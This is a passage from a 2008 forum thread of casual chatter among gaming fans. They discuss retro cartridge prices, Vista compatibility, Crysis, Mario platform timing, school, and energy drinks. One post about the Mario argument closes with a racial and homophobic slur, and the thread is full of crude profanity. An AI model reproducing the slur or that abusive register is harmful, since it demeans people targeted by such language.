Different story there, though.  I own the real carts for Mega Man 2 through 6 now, I just need the original to have all the NES Mega Man carts :-)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on August 17, 2008, 11:32:41 PM
Obviously you have the original official cartridge.

I do. :D

And, uh, 60? Hella overpriced. Bought a copy for $45 at the flea market a year ago... haven't ever seen it priced higher than that.

Oh wait, it was near complete. Well, whatever >_>

Does anyone here own the Megaman X3 cartridge and want to sell it, by the way? I'm on the prowl for that game :>
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on August 17, 2008, 11:35:45 PM
Nah, I think the only X game I own is the first one.  If I had X3, I'd probably sell/give it to you, though
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on August 17, 2008, 11:41:55 PM
I wish I hadn't sold my Megaman X cart :/

Also, if I was buying Chronotrigger, I would want one that's been unplayed/had all saves deleted.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on August 18, 2008, 01:38:27 AM
I wish I hadn't sold my Megaman X cart :/

Also, if I was buying Chronotrigger, I would want one that's been unplayed/had all saves deleted.

If I get a game with old saves, I usually delete the lowest level/worst file and save the best one for no particular reason. Unless I need more than one file for myself.

Also goddamn I really want X3.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on August 18, 2008, 02:00:27 AM

And, uh, 60? Hella overpriced. Bought a copy for $45 at the flea market a year ago... haven't ever seen it priced higher than that.


You would be suprised.

I looked at good used copies of FF7 (online of course) some were going for $60-$100.  A never opened one was $400!

Other games I looked at (Tomba 1 and 2 for this example) and the lowest I saw was/is selling for  $65.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on August 18, 2008, 02:03:00 AM
Yeah, but most of those are people overpricing somewhat. Granted, some collectible/rare games go for a fucking TON.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on August 18, 2008, 02:06:37 AM
Yeah this is very true.  I hear some NES games sell for a nice 1k.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on August 18, 2008, 02:09:23 AM
Yeah, but most of those are people overpricing somewhat. Granted, some collectible/rare games go for a fucking TON.

Yeah, it can be ridiculous. Buying Earthbound complete will cost you upwards of $150... harvest moon for the SNES is almost a hundred last I checked. X3 should cost me a pretty penny as well, being the rarest, best, and most valuable out of the first three X games.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on August 18, 2008, 02:22:06 AM
Yeah, well try $20,000 http://www.game-addicts.com/20060706/worlds-most-expensive-nes-cartridge.html

http://www.gamesniped.com/2007/11/08/worlds-most-expensive-video-games/
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on August 18, 2008, 04:22:01 AM
I really hope that the tropical storm/hurricane hits here. I'm unbelievably excited for it to come :D

Also just spent a few hours organizing my coin collection. Should probably go to sleep...
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on August 18, 2008, 04:30:34 AM
I really hope that the tropical storm/hurricane hits here. I'm unbelievably excited for it to come :D

Same, apparently a friend has an open house for a while, so this should provide a decent amount of fun. Also I really need sleep.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Eggman on August 18, 2008, 04:35:40 AM
You would be suprised.

I looked at good used copies of FF7 (online of course) some were going for $60-$100.  A never opened one was $400!

Other games I looked at (Tomba 1 and 2 for this example) and the lowest I saw was/is selling for  $65.

The reason FF7 is like that now is because no free copies exist. That is to say, the entire original release was sold. And no one really thinks to get rid of it. I'd say the Greatest Hits version is very nearly like that too. I've been tempted to sell it off a few times.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on August 18, 2008, 10:23:42 AM
Wow, the entire original release sold? Impressive.

I got mine second hand for $34, back when it was going for about $80. Unfortunately, the third disk was unplayable (hence why the people pawned it in the first case). I should really burn a backup and play through it again.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on August 18, 2008, 06:09:51 PM
Same, apparently a friend has an open house for a while, so this should provide a decent amount of fun. Also I really need sleep.

Yeah, that sounds awesome. You're luckier- you're a lot closer to the point of landfall than I am ;_;
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on August 18, 2008, 07:00:25 PM
Yeah, that sounds awesome. You're luckier- you're a lot closer to the point of landfall than I am ;_;

Indeed, hopefully I can get some people to go to the beach with me.

Also my friend started downloading doom (on my PC) and I asked him if it was a 8 it or a 32 bit game.He says something along the lines of "nah man, it's like a 3 bit game" which I found rather amusing.

Also also anyone here try S4 league? From what I heard it's like gunz minus the glitch exploitation and it's apparently all around better.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: cristian989 on August 18, 2008, 11:41:05 PM
Vista's backward compatibility is incredible...I'm running FF7 for the PC on my computer flawlessly (this game was made for WINDOWS 95).
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on August 18, 2008, 11:45:41 PM
So I'm moved into my dorm, have my computer set up, and am at band camp for all this week (classes start next Monday). This is awesome.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on August 19, 2008, 12:39:14 AM
I am going to miss going to school but at the same time am kind of glad that I am not going.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on August 19, 2008, 01:01:05 PM
I quit marching band... my friends all just got done with band camp and stuff. I actually got to keep my free time ^_____^
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on August 19, 2008, 01:03:20 PM
Vista's backward compatibility is incredible...I'm running FF7 for the PC on my computer flawlessly (this game was made for WINDOWS 95).

Pssh, don't try to tell that to Vista haters!  There's no way they'll believe you.

Really, Vista running FF7 is particularly impressive because FF7 is quite possibly most sloppily coded piece of ported garbage in existence.  Do be sure to download and apply the Chocobo patch (http://www.qhimm.com/#ff7), because otherwise the game will always crash on the Chocobo races.

Also, if you're running the 32-bit edition, download and play Executive Suite (http://www.the-underdogs.info/game.php?id=384).  It's a fun game, runs fine on Vista, and is older than almost everyone here.  The 64-bit version of Vista lacks any sort of 16-bit support, so it won't run on that unfortunately.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on August 19, 2008, 01:06:22 PM
How is Vista with the different Emulators Spec?  IE: ZSNES, the Playstation emulator...ect
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on August 19, 2008, 01:28:07 PM
As good as any other Windows OS is.  If I had any serious issues with things like that I wouldn't be using it as my primary OS.

Vista's "poor" backwards compatibility is little more than a widely-spread exaggeration.  Most of the issues that people have are from applications that aren't aware of UAC (which is essentially Vista's equivalent of "sudo") trying to write in areas that unprivileged users don't have access to.

Also, newsflash: my Crysis review is finally live (http://www.spectere.net/blog/2008/08/game-review-crysis/).
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on August 19, 2008, 01:29:22 PM
Huh...sounds like Vista is somewhat simpler and more complicated at the same time.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on August 19, 2008, 01:38:44 PM
It's hardly more complicated.  UAC is a one-click affair rather than requiring a password like OS X and sudo (though it can be configured to require passwords, or it can be set to be active but configured to automatically bypass the prompts).

As far as it being complicated for application developers, it really isn't.  Any well-designed program from around 1995 and newer should work with it.

Windows NT came out in 1993 and supported privilege separation (meaning that programs written for it should assume that, like with Unix, that users only have full write access to their home directories) but the Win32 API that it introduced only really kicked off when Windows 95 was released.  Shell folders and the registry were supported as far back as that to ensure proper interoperability with Windows NT systems and user profiles, meaning that there's absolutely no excuse for programs to write data files into their own directory (which is the main thing that causes problems with UAC).  Microsoft's been stating that in their guidelines from the very beginning and, if developers actually bothered to read through them, there wouldn't be any compatibility "issues" with Vista.  The only reason that there are problems is because of third parties.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on August 19, 2008, 04:01:52 PM
So I've been playing Duke Nukem 3D again and I must say, it's awesome. I'm rather surprised by the amount of things you have to do just to beat a level. Also the difficulty seems just right, other then those dumb lazer mines everything is perfect. I'm just annoyed at how the strafing works, if it were more like a modern shooter it would really help.


Also yes, I pretty much agree with the Crysis review, other then the difficulty curb. That game pretty much gives you useless powers and forces you to shoot with the same 2 or 3 different guns through most of the game. I must say, probably one of the better vehicle uses in a game, even compared to halo. I also remember seeing something about being able to shoot the rocket pods on a helicopter to make it blow up, or shooting the gas tanks on a tank to make it stop, but I never got either to work (shooting a gas tank on a tank will make it blow up, but he tank will still move and shoot at you). Hell, even GTA SA let you sniper helicopters in the prop to make them crash, and that game had some of the worst fighting and gun play I've seen.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: cristian989 on August 19, 2008, 06:47:50 PM
Pssh, don't try to tell that to Vista haters!  There's no way they'll believe you.

Really, Vista running FF7 is particularly impressive because FF7 is quite possibly most sloppily coded piece of ported garbage in existence.  Do be sure to download and apply the Chocobo patch (http://www.qhimm.com/#ff7), because otherwise the game will always crash on the Chocobo races.

Also, if you're running the 32-bit edition, download and play Executive Suite (http://www.the-underdogs.info/game.php?id=384).  It's a fun game, runs fine on Vista, and is older than almost everyone here.  The 64-bit version of Vista lacks any sort of 16-bit support, so it won't run on that unfortunately.

Thanks for the info.  I just downloaded the patch and I'll give that game a shot :).
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on August 19, 2008, 07:04:22 PM
Also yes, I pretty much agree with the Crysis review, other then the difficulty curb.

In all honest it might have been because I was getting mindnumbingly bored with the game, but it seriously felt like the enemies were scoring far more "lucky hits" than they did at the beginning of the game.  It seemed like they were sending out larger forces, too, which was definitely a Bad Thing(TM) considering how many bloody bullets it takes to stop them.

I must say, probably one of the better vehicle uses in a game, even compared to halo.

Argh, I forgot to touch on that...

My favorite thing to do with the vehicles in Crysis is take control of the mounted machineguns and cut down trees. 8)

Thanks for the info.  I just downloaded the patch and I'll give that game a shot :).

Not a problem. :)

The game is a bit primitive, obviously.  It's all text-based with simple ASCII graphics, but it should amuse you for a while.  There's quite a bit you can do in it.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on August 19, 2008, 07:52:45 PM
Windows NT came out in 1993

Hey, I used to have that. That was my first computer, an NT 8)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on August 19, 2008, 09:35:09 PM
My favorite thing to do with the vehicles in Crysis is take control of the mounted machineguns and cut down trees. 8)

Hah, I did that my first time and the tree fell onto the hood of my car and it blew up. I was very confused, considering I was driving an armored hummer and the tree was a thin baby palm tree.

Also S4 league looks pretty cool.

http://uk.youtube.com/watch?v=ru6D0AD6XwU
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on August 19, 2008, 11:29:05 PM
You guys are awesome I learn so much...even if half of it makes no sence to me.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on August 20, 2008, 12:15:16 AM
Hah, I did that my first time and the tree fell onto the hood of my car and it blew up. I was very confused, considering I was driving an armored hummer and the tree was a thin baby palm tree.
You should make an EPIC FAIL picture with that :D
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on August 20, 2008, 12:39:00 AM
I don't know how the hell this is possible but my computer speakers ar picking up a radio station and it is playing music :x
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on August 20, 2008, 01:08:56 AM
I don't know how the hell this is possible but my computer speakers ar picking up a radio station and it is playing music :x

Fucked up oscillator wiring? you have any idea which radio station it is?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on August 20, 2008, 01:48:43 AM
Could have been (in my area) 101.1 or 103.9.  Now it has stoped.  Very odd.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on August 20, 2008, 10:11:50 AM
I had my old stereo (an old Aiwa shelf unit from ~1995...I still use it today for my StepMania setup :P) pick up what sounded like a radio (as in a general communications band) band a few times.  I should probably mention that the stereo was off when it happened...quite weird.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on August 21, 2008, 02:16:55 AM
Well, me and my friends got into an hour long fucking debate over the nature of random and how it works in a game of Mario and the secrete levels. Here is how it all started, there was this part with 5 or 4 elevators (platforms evenly paced vertically that keep dropping at the same speed) and one friend said if you went when the second one dropped, you would always have the right timing to make it across. I said it all depends on when the elevators came onto the screen, because they would not be moving while off the screen and were only at a set point. So I said it was completely random, because you would move whenever it came on screen, witch would always be different because of human nature (that it's impossible for you to move the exact same speed twice threw a level twice). He said it always followed a pattern, because it would be impossible for you to beat the level unless it did. So I said that it would have to be the EXACT same way every time for it to follow a pattern and not be random. He said there could be slight changes in the pattern, as long as it was close enough it was still a pattern (which made me face-palm, because I don't think that's how patterns work). So we basically argued for an hour about the nature of random, and he said it couldn't repeat the same thing twice and still be random, so I said something about no computer ever being able to do true random (even tho true random could repeat the same thing twice and still be random).

So that's the short story, AM I CRAZY OR ARE ALL MY FRIENDS GAY NIGGERS?

Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on August 21, 2008, 02:44:14 AM
Except in a few cases, all computers use pseudorandom number generators:
Quote from: wikipedia
A pseudorandom number generator (PRNG) is an algorithm for generating a sequence of numbers that approximates the properties of random numbers. The sequence is not truly random in that it is completely determined by a relatively small set of initial values, called the PRNG's state. Although sequences that are closer to truly random can be generated using hardware random number generators, pseudo-random numbers are important in practice for simulations (e.g., of physical systems with the Monte Carlo method), and are central in the practice of cryptography.

Now, I am not certain, but I am pretty sure that those platforms would in fact be offscreen and not moving (it's one less thing to have to compute, and saving CPU cycles was always good on a NES/SNES) until they came on screen. Now, just because we are human and can't repeat everything exactly, that doesn't mean we can't get damned close. Plus, only the time after the platforms have come on screen matters anyway, for this situation. Scaling that time zone that matters down to the 2 seconds or so that it takes from the time you begin to see the platforms to the time you jump off (assuming you simply run through the screen, may take longer for those who don't know the level well) makes it rather simple to be very close to exactly replicating your moves. Plus, you don't need to jump at the exact same time every time, you simply need to be close enough to land properly.

In short, you're almost definitely right.

And patterns are defined as being a series of things who's order is predictable.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on August 21, 2008, 03:29:55 AM
Plus, only the time after the platforms have come on screen matters anyway, for this situation. Scaling that time zone that matters down to the 2 seconds or so that it takes from the time you begin to see the platforms to the time you jump off (assuming you simply run through the screen, may take longer for those who don't know the level well) makes it rather simple to be very close to exactly replicating your moves. Plus, you don't need to jump at the exact same time every time, you simply need to be close enough to land properly.

That's the problem. They somehow thought waiting for the second platform to drop would set the rhythm for every platform in the set, and all of them were off the screen except for one. Also they wouldn't run threw it in one fluid motion, at some point they always ran back to get speed for the next jump or else they wouldn't make it. That, and even when they did that at a similar pace it would have some drastically different pattern. Even when I pointed that out they disregarded that, so I suppose someone had a bit to much to drink. That, and after I proved my point they shifted their whole argument to "IT'S NOT FUCKING RANDOM, YOU WOULDN'T BE ABLE TO BEAT IT IF IT WAS RANDOM". So, if it isn't 100% random it has to be following some obvious pattern, at least that's what they think.

Funny, the more I think about this the more they seem wrong.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on August 21, 2008, 05:47:59 AM
fuckkkkkkkk who caressssssssss. :/

You're talking about the timing of a moving platform in an old video game, for crying out loud. I mean, really. :\
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on August 21, 2008, 01:43:12 PM
You obviously are not as huge a Mario fan as us...

Bah, too bad I don't have a copy of the disassembly people have made. People have actually disassembled and made a source code for the NES Mario, so I could have actually checked the code for that.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on August 21, 2008, 05:07:26 PM
fuckkkkkkkk who caressssssssss. :/

Apparently they do, the way they kept going on about it was rather nuts.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on August 21, 2008, 07:21:50 PM
I'm craving ice cream right now. What the hell. I shouldn't be, I'm watching my figure :x

Also, I'm really, really dreading my Calculus class this year. I'm very afraid of it raping me in the rectum. I took trig and pre-calc last year... did great in trig but not-nearly-as-great in precalc... made 70s-80s on tests, as opposed to 100s in trig. How bad's Calculus?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on August 22, 2008, 12:56:58 AM
Not to to bad...I suck at Trig but Calc iI am good at.

You will learn limit, derivitives and intergrals. (You will use trig eventually)

If you need some help give me a holla and I will dig up my Calc book and help you out.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on August 22, 2008, 04:38:47 PM
I'm gonna have calculus this year too (they are assholes and are removing it completely from highschool here, and I didn't want to take it last year because I only wanted to be in the class to learn it (as in waste my time and learn it and not care about my actual mark in the class), but figured it'd be better to have another spare instead.

So long story short, I may also bitch about it.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on August 22, 2008, 05:06:19 PM
My wrist hurts when I use it, and part of it south oh the thumb is swollen. been like this for a few weeks... i just now put it on ice. agh. i think i"m getting some form of carpal tunnel from going through thousands of dollars in halves and nickels past 3 weeks.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on August 22, 2008, 05:43:18 PM
Carpal tunnel is in the wrist itself. I've had what I believe is either a compression of the joint, or early signs of Carpal Tunnel and there was no swelling for me, just a lot of pain in the wrist (right inside the joint, where the nerve is).
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on August 22, 2008, 11:29:31 PM
Yeah, I think that's what it is. Man, it still hurts. I tried to take some pics but they didn't come out so well :<

Also, I just got on facebook, and about 5-6 people I know had 'RIP Jaclyn' as their little headline or whatever. So apparently this Jaclyn girl (who I actually knew moderately decently, and was friends with for a little while early last year) has just died. That's really sad... she graduated last year. She had leukemia I think and I was pretty sure she like recovered from it or something. I guess not. Huh. Life is silly...

edit: her myspace:
http://profile.myspace.com/index.cfm?fuseaction=user.viewprofile&friendid=195963919

edit 2: damn, I really killed the thread, didn't i?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 23, 2008, 11:49:28 PM
i drank 3 monsters today

also, clubstripes is awesome

also i drank 3 monsters today

clubstripes is still awesome, miu in particular

CAFFEINE 3 monsters THREE MONSTERS caffeine TRES MONSTEROS

my avatar is peaches

MY BRAIN IS CAFFEINE

bbl drinking monster

*cafffeditttT*

KAF

FEI

NE

CAFFINATION BRO CAFFINATION                 

Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on August 24, 2008, 12:06:27 AM
Take it easy Vlad...go run about 100 laps and you should be fine.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on August 24, 2008, 01:04:37 AM
ahahaha vlad. i don't know why i laughed so hard at that but i did.

also my dad made seared tuna tonight... it was delicious. tuna steaks rubbed with emeril's seasoning and cooked just barely, so that the outside is delicious and the inside is pink, mainly still raw and delicious. yummmmmmmm.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on August 24, 2008, 03:46:10 AM
Beh, only 3? A friend of mine had a total of 8 rockstars and 2 red bulls within something like 3 or 4 hours.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 24, 2008, 04:05:41 AM
Beh, only 3? A friend of mine had a total of 8 rockstars and 2 red bulls within something like 3 or 4 hours.

i wasn't trying to kill myself, or impress you.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on August 24, 2008, 04:45:37 AM
i wasn't trying to kill myself, or impress you.

GOOD, BECAUSE YOU DIDN'T.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Jupi on August 24, 2008, 09:17:20 AM
I remember one time I had like four Red Bulls in two hours.

I fell asleep an hour later.  haha
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on August 24, 2008, 10:06:41 AM
Jupi, is your sig from the 7th guest/11th hour?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on August 24, 2008, 10:39:00 AM
I remember one time I had like four Red Bulls in two hours.

I fell asleep an hour later.  haha
Hahah, nice.  I had two Monsters while trying to stay up 24 hours, and ended up falling asleep 4 hours before I was done, almost an hour after I finished the second one.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Jupi on August 24, 2008, 11:47:21 AM
Jupi, is your sig from the 7th guest/11th hour?

Nope.  Tis a picture I took at a concert some years ago.  The band is called Mercury.  :3
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on August 24, 2008, 01:12:18 PM
(http://img.photobucket.com/albums/v682/IceBlasphemy/ME0000037976_2.jpg)

Screen from the 7th guest. They look the same!
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on August 24, 2008, 03:13:23 PM
Screen from the 7th guest. They look the same!

I've played that, also I just woke up...
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on August 24, 2008, 03:33:08 PM
I've played that, also I just woke up...

Yeah dude, that and its sequel kick ass. I remember watching my dad play them growing up.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on August 25, 2008, 01:50:53 PM
Sorry but this merits a double post. I thought this was amazingly interesting:

http://www.reuters.com/article/oddlyEnoughNews/idUSLM63579720080825?feedType=RSS&feedName=oddlyEnoughNews

Also I inherited $3000 yesterday. Going to be sooo hard not to invest it in coins :[
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on August 25, 2008, 02:44:55 PM
So I just got back from Calc III, which seems like it's basically Calc I with the z-axis added in.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on August 25, 2008, 05:04:35 PM
So I just got back from Calc III, which seems like it's basically Calc I with the z-axis added in.

You started classes today too? sheesh. Yeah I need to take up to calc 3 too, hopefully you don't die later in the semester :<

also my girlfriend just passed her driver's license test 8)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Jupi on August 25, 2008, 05:42:27 PM
I actually don't mind that I started on the 18th.  :3
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on August 25, 2008, 07:27:06 PM
I actually don't mind that I started on the 18th.  :3
I DO

actually, school hasn't been too bad so far :D
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 25, 2008, 09:58:01 PM
lol Americans, and your early school starting times. I have a whole 10 more days of freedom.

depends on where you are
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on August 25, 2008, 11:19:21 PM
I got my game I won on Ebay and love it so much!
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on August 26, 2008, 08:10:29 PM
oh god I'm stupid: http://www.youtube.com/watch?v=xIEFJ4dBhec (http://www.youtube.com/watch?v=xIEFJ4dBhec)

XD
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on August 26, 2008, 09:12:29 PM
What was in it? lol
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on August 26, 2008, 09:36:08 PM
Monster and coffee.

It was...horribafuckus.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Jupi on August 26, 2008, 09:37:46 PM
oh god I'm stupid: http://www.youtube.com/watch?v=xIEFJ4dBhec (http://www.youtube.com/watch?v=xIEFJ4dBhec)

XD

This video proves what we knew already.  :P
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on August 26, 2008, 09:49:05 PM
http://www.energyfiend.com/2007/05/java-monster-coffee-flavored-monster-energy
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on August 26, 2008, 10:05:48 PM
http://www.energyfiend.com/2007/05/java-monster-coffee-flavored-monster-energy

Sounds...almost good. Also lol wut? A website dedicated to energy drinks?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on August 26, 2008, 10:26:39 PM
http://www.energyfiend.com/2007/05/java-monster-coffee-flavored-monster-energy

Nonono, not Java Monster.  Java Monster tastes good.

We're talking a standard Monster (I believe it was either M-80 or Khaos) mixed with cheap, hotel coffee.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 26, 2008, 10:34:58 PM
sounds AWESOME

bet it tasted better than rockstar
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on August 26, 2008, 10:52:26 PM
Sadly, I'm pretty sure it did.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on August 26, 2008, 10:59:32 PM
Yeah, Rockstar tastes like ball sweat.

I'm actually learning a lot of stuff in my classes this year. It's pretty interesting. Especially AP Environmental Science, and AP economics, and AP psychology. Haven't learned anything in ap calc or ap literature yet though :o
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on August 26, 2008, 11:42:28 PM
Logic and Critical Thinking is going to be the most excruciatingly boring class I'll have had since Latin II freshman year in high school.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on August 27, 2008, 01:40:40 AM
Sadly, I'm pretty sure it did.

Heh, looked awful. That was pretty manly drinking that whole thing.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 27, 2008, 02:05:50 AM
as of 2 seconds ago, next time i get a monster, ill make a video of myself mixing it with coffee, and drinking it.

don't expect a video anytime soon though, i drank like 20582483 monsters last week.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on August 27, 2008, 02:38:50 AM
I don't like normal rockstar, but all their flavours kick ass. Also, they have coffee flavoured versions as well. They honestly actually taste like what they claim.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on August 27, 2008, 03:42:45 PM
Normal rockstar is my blood.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 27, 2008, 06:04:19 PM
as much as i haven't been looking forward to this game, and im not so fond of its "humor", i played the trial(twice) and well, im going to get it when i have the cash money, after bionic commando.

castle crashers.  1-4 player beat 'em up with a hint of rpg like leveling up, its fucking fun man.  i can see myself playing this with 3 others and having a good time. 

i don't need fancy cutscenes, or a deep story to enjoy the vidya.  i just need fun gameplay, and preferably co-op multiplayer, and im golden.

and since these kind of games are becoming more popular with the "CHEAP AND DOWNLOADABLE" scene, im rather happy to see the 2d multiplayer games aren't going to die.    i know i'm going to support them, with my money, by buying them.

OHH AND IT HAS LOCAL AND ONLINE

i mean, i prefer local, but the fact that online is there can make all the internet kiddies stop crying.  i mean, half the fun of a co-op game, is being in the same room with the other players, BUT THATS JUST ME, i prefer actual human interaction over e-interaction.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on August 27, 2008, 10:25:50 PM
So I'm now the Teacher's Assistant of my band director. I get to file music for a few weeks until I finish, and then just hang out the rest of the semester. Kickass.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on August 27, 2008, 11:21:25 PM
I haven't shaved in 2 weeks.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Milk Chan on August 28, 2008, 12:27:22 AM
Band practice sucks.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on August 28, 2008, 01:26:13 AM
So it was a lot like drum line?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on August 28, 2008, 02:28:04 AM
I haven't shaved in longer than 2 weeks. Well, I periodically clean up the scruff that pops up on my cheeks that looks like shit, but other than that...
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on August 28, 2008, 02:56:14 AM
Pictures of this dirty monster?

(http://img.photobucket.com/albums/v253/annonymous/Image020.jpg)

Bad picture because of bad lighting.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on August 28, 2008, 05:02:41 AM
who is that behind you?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Jupi on August 28, 2008, 08:38:31 AM
That's two weeks?  Wow.

My friend Joe looks like that after a day or so.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on August 28, 2008, 01:06:08 PM
who is that behind you?

My roommate.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 28, 2008, 01:42:50 PM
after a month i don't even have that. 

MAH BAWDY ISNT MUCH HAIREE AT ALL

seriously, save for my legs, and head, im like bald.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on August 28, 2008, 06:43:41 PM
Body hair sux.  I wanna b a chik :o
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Jupi on August 28, 2008, 06:44:21 PM
I wanna b a chik :o


No.  No you don't.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on August 28, 2008, 06:57:03 PM
Pictures of this dirty monster?

So my schedule for first semester is pretty easy.

1. World Issues
2. 12 English
3. Spare
4. Genocide Studies

Genocide Studies is a class? That actually sounds really interesting...
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on August 28, 2008, 07:03:11 PM

No.  No you don't.

i do
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on August 28, 2008, 07:05:59 PM

No.  No you don't.
like, one of those ones that is really a dude with nonfunctioning testicles that didn't drop

that shit would be pimp

NO PERIODS AND NO ASSCRACK HAIR.  WIN/WIN
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Jupi on August 28, 2008, 07:20:39 PM
like, one of those ones that is really a dude with nonfunctioning testicles that didn't drop

that shit would be pimp

NO PERIODS AND NO ASSCRACK HAIR.  WIN/WIN

Heh...
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on August 28, 2008, 07:58:46 PM
Heh...
I don't get it ???
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on August 28, 2008, 07:59:31 PM
like, one of those ones that is really a dude with nonfunctioning testicles that didn't drop

You mean like the 15 year old supermodel in that episode of House?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on August 28, 2008, 08:09:35 PM
You mean like the 15 year old supermodel in that episode of House?
Yeah, that's actually where I learned about that particular rare condition :D
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on August 28, 2008, 08:42:35 PM
(http://img517.imageshack.us/img517/610/img0208bs0.jpg)

WTF IS THAT?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on August 28, 2008, 09:44:17 PM
Looks like a cat with fucked up eyes is attacking Spoony O_O
Title: Re: Lame Replies Thread, With A Vengeance
Post by: OmegaOmni on August 28, 2008, 09:54:16 PM
Nah thats her bald spot on her forhead.
